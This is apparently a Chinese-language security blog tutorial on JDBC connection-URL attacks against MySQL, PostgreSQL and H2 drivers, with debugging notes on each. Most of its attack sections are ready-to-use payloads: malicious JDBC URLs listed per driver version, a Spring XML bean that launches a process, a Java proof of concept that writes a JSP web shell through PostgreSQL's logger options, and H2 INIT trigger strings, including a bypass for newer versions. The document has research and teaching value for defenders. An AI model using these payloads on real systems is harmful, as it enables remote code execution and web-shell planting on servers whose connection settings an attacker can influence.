JDBC安全

前言

JDBC全名(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API,Java自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的API接口(JDBC).类似一个个驱动去实现这个接口然后就能连接不同的数据库.
java.sql.DriverManager.getConnection(xxx)其实就是间接的调用了java.sql.Driver类的connect方法实现数据库连接的。数据库连接成功后会返回一个叫做java.sql.Connection的数据库连接对象,一切对数据库的查询操作都将依赖于这个Connection对象。

1
jdbc:driver://host:port/database?setting1=value1&setting2=value2

JDBC攻击是什么?
当数据库连接指定的URL和配置能被攻击者控制时,可以让其指向恶意的SQL服务进而触发一些恶意代码

MySQL JDBC Attack(可RCE,文件读取)

其核心就是欺骗客户端,让客户端连到我们恶意的MySQL服务端去,在初始化一些信息的时候接收了来自伪造的恶意服务端传来的恶意数据.

准备工作

这里推荐几个好用的伪造mysql服务端的工具:

  1. java chains (java安全一把梭神器~)

  2. fake-mysql-gui-0.0.4.jar (许少在fnmsd师傅的项目基础上用原生java进行开发的,具有gui页面且即开即用!许少yyds)
    这里以java chains 进行复现:
    先启动恶意mysql服务


客户端导入一下依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="UTF-8"?>  
<project>
<modelVersion>4.0.0</modelVersion>

<groupId>com.eviden</groupId>
<artifactId>jdbcDemo</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>

<name>JDBCAttack</name>
<url>http://maven.apache.org</url>

<properties> <maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
<dependencies> <dependency> <groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.13</version>
</dependency><!-- 加一个常见的cc依赖-->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency> </dependencies></project>

注: mysql:mysql-connector-java < 8.0.20
然后写一个连接代码

1
2
3
4
5
6
7
8
9
10
11
import java.sql.Connection;  
import java.sql.DriverManager;
import java.sql.SQLException;
public class JDBC_Attack_Client {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
String ClassName="com.mysql.jdbc.Driver";
String EvilUrl="jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=d74bcbc";
Class.forName(ClassName);
Connection connection = DriverManager.getConnection(EvilUrl);
}
}

连接地址只需要更改mysql服务器的地址以及相应的user即可恶意的username通常会在恶意服务端生成~

调试分析

可以推荐先去看一下伪造mysql服务器能造成哪些威胁,这些不只是在java存在,应该锅还是中间人攻击导致的,总之就是不要信任第三方服务端.
我们在连接处下个断点,一路跟下去,最终发现在com.mysql.cj.jdbc.interceptors中发现了如下语句
正好验证了前面读取恶意数据进而触发漏洞的猜想跟进这个ResultSetUtil.resultSetToMap方法即可
再跟进这两个getObject方法,第一个并不会直接触发看到老朋友了~

跟第二个getObject时

84 19经典序列化字节码数据了~
下面人还好心提示你嘞~

最终调用栈
附一张抓包流量
这里就不仔细调mysql的连接流程了,有3次握手,后续如果需要深入了解再看吧

  1. Client连接mysql服务器,mysql服务器发出greeting招呼

  2. Client发送需要的mysql基本信息,mysql服务器回复固定的数据
    Client发出SET NAMES latin1,mysql服务器回复OK收到
    Client发出SET character_set_result = NULL,mysql服务器回复OK收到然后Client想发送SET autocommit =1,配置的ServerStatusDiffInterceptor拦截器对消息进行预处理,于是分为了两个小步骤:

    Client发送SHOW SESSION STATUS确认mysql服务器状态,服务器返回了序列化数据

    Client发送SHOW WARNINGS,服务器返回固定消息以顺利通过warning检查

    如果上面两个过程没问题,客户端用getObject处理SHOW SESSION STATUS返回的数据,触发反序列化漏洞
    上文用的queryInterceptors参数指定的ServerStatusDiffInterceptor拦截器进行注入,不同的版本用的参数不同,但手法都大同小异
    ServerStatusDiffInterceptor做拦截器;
    8.x:

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

6.x(属性名不同)

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

5.1.11及以上的5.x版本(包名没有cj):

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

版本再低就不放了,应该很少了~
5.1.18以下的版本和5.1.41以上版本不能使用

PostgreSQL JDBC Attack

影响范围:

9.4.1208 <=PgJDBC <42.2.25

42.3.0 <=PgJDBC < 42.3.2
浅蓝师傅发现的:
https://github.com/advisories/GHSA-v7wg-cpwc-24m4
通过org.springframework.context.support.ClassPathXmlApplicationContext加载恶意xml完成RCE
payload:

1
jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml
1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>  
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg name="command" value="calc"/>
        <property name="whatever" value="#{pb.start()}"/>
    </bean>
</beans>

拉入postgresql以及Spring的依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!--        postgresql Attack-->  
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.3.28</version>
</dependency> <dependency> <groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.3.28</version>
</dependency> <dependency> <groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency> <dependency> <groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.28</version>
</dependency> <dependency> <groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.28</version>
</dependency> <dependency> <groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.0</version>
</dependency>

简单分析

下断点的时候遇到个小bug
这里点步入好像不会走到postgresql的连接驱动反而会走到mysql里去???
然后慢慢一步步步入才能到Driver,不要一下步出或者步过,不然会一下子就跳出去看不到细节建议第一个断点直接下到postgresql里的Driver驱动里的connect方法里去省的那么多事~

最终发现在org.postgresql.util#instantiate会去加载ClassPathXmlApplicationContext构造方法然后RCE
关于spring spel注入的分析就不贴在这儿了

不出网写文件

上面的spring 加载xml的方法需要目标机器出网加载我们远程的xml才能完成攻击不出网的话用loggerLevel + loggerFile写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package PostgreSQLAttack;  

import org.postgresql.Driver;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

//不出网利用 写文件
public class POC2 {
public static void main(String[] args) throws SQLException {
//可写绝对路径
//`=`截断掉前面的shell内容绕过URLDecoder的处理
String URL = "jdbc:postgresql://127.0.0.1:11111/test/?loggerLevel=DEBUG&loggerFile=shell.jsp&<%Runtime.getRuntime().exec(\"calc\");%> =\n";
DriverManager.registerDriver(new Driver());
Connection connection = DriverManager.getConnection(URL);
}
}

H2database

这个是重头戏,经常出现在ctf且最近跟的dataease漏洞也就是h2的bypass姿势先来最爱的p牛:
扒一扒h2database远程代码执行 | 离别歌
h2 database console 可以整合到Springboot中所以一般可以结合上述spel注入加载xml完成攻击;也可以独立启动,因为其内置了一个WebServer
对h2 web console的利用需要开启-webAllowOthers选项,支持外部连接;需要开启-ifNotExists选项,支持创建数据库
H2的Web console不仅可以连接H2数据库,也可以连接其他支持JDBC API的数据库启动Web console,默认监听8082端口启动命令java -cp .\h2-2.3.232.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists
对h2 web console的利用需要开启-webAllowOthers选项,支持外部连接;需要开启-ifNotExists选项,支持创建数据库
H2的Web console不仅可以连接H2数据库,也可以连接其他支持JDBC API的数据库
历史版本下载:
Archive Downloads
如果H2版本低于1.4.198,直接使用议题中提到的方法URL即可执行任意代码:

1
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript java.lang.Runtime.getRuntime().exec("calc.exe") $$;

高于1.4.198,可以通过jndi注入进行攻击指定 javax.naming.InitialContext
ldap恶意服务

JNDI注入的问题在2.0.206中被修复观看p牛的博客发现

1
jdbc:h2:mem:test;MODE=MSSQLServer;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript java.lang.Runtime.getRuntime().exec("calc.exe") $$;AUTHZPWD=\

利用这个方法,我们可以让1.4.198,2.0.202,甚至2.0.206以后的H2 database web console继续执行任意命令。

JDBC Attack绕过和防护

  1. GitHub - yulate/jdbc-tricks: 《深入JDBC安全:特殊URL构造与不出网反序列化利用技术揭秘》对应研究总结项目 “Deep Dive into JDBC Security: Special URL Construction and Non-Networked Deserialization Exploitation Techniques Revealed” - Research Summary Project

  2. 奇安信攻防社区后续再补充!

参考

JDBC Attack漫谈